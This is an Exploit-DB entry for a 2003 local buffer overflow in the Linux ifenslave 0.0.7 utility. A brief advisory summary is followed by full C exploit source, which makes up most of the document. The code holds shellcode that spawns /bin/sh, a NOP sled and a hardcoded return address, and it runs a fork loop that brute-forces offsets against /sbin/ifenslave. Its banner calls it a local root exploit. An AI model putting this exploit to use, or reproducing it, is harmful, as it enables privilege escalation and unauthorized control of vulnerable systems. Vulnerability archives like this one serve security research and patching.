Exploit-DB #22645
Description: Ifenslave 0.0.7 - Argument Local Buffer Overflow (3)
Type: local
Platform: linux
Date: 2003-05-26
Author: Julien L

Exploit:
// source: https://www.securityfocus.com/bid/7682/info
  
ifenslave for Linux has been reported prone to a buffer overflow vulnerability.
  
The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space.
  
It is possible for a local attacker to seize control of the vulnerable application and have malicious arbitrary code executed in the context of ifenslave. ifenslave is not installed setUID or setGID by default.
  
It should be noted that although this vulnerability has been reported to affect ifenslave version 0.07 previous versions might also be affected. 

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>

static char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";

#define NOP     0x90

// First ret, from which we'll start.
// Here it is taken from gdb
#define RET     0xbffff687


int main(int argc, char **argv)
{
	int x=0, status, i;
	int offset=20; // <- positive.
	char buffer[1000];
	long retaddr;
	pid_t pid;

	retaddr=RET+offset;
	printf("\n[+] 0dd ifenslave local root xpl ;D\n\n");
	printf("[~] Trying offset %d, addr 0x%x\n",x, retaddr);
	// 300 - maximum number, which can be added to RET.
	// I have taken a small one, for debug. In real cases it can be about 100 times larger
	while(x<=300)
	{
		//creating child process
		if((pid=fork())==0)
		{

		 /* Child */

			// childe generates new exploit buffer with new retaddr.
			for (i=0;i<200;i+=4) {
				*(long *)&buffer[i] = retaddr;
			}
			for (i=0;i<100;i++) {
				buffer[i+200] = NOP;
			}
			for (i=0;i<strlen(shellcode);i++) {
				buffer[i+300] = shellcode[i];
			}
			// executing ifenslave - trying to exploit bof
			execl("/sbin/ifenslave","/sbin/ifenslave",buffer,NULL); //

		/* END */

		}
		// while child tries to exploit vulnerability in ifenslave, parent waits while it ends.
		// And signal, which child will send after it ends, will be placed in status variable.
		wait(&status);
		// Displaying the received signal. Just for debugging.
		printf("[~] Received signal: #%i\n", status);
		// Checking. If signal is zero (0), then child was finished without erros, it means, that after
		// overflowing ifenslave has continued to work - shellcode was executed or you have got into cs :)
		// (though it's almost impossible), so we have no reason to continue bruteforcing.
		if(WIFEXITED(status) != 0 ) {
			printf("[+] Retaddr guessed: 0x%x\n[~] Exiting...\n", retaddr);
			exit(1);
		} else {
		// If signal isn't zero, than we have some errors (SIGSEGV, SIGILL)...
		// Adding offset to x and retaddr and repeating a loop: creating child process, which tries
		// to get shell with a new buffer, waiting for him, checking signal,...:)
			retaddr+=offset;
        		x+=offset;
			printf("[~] Trying offset %d, addr 0x%x\n",x, retaddr);
		}
	}
}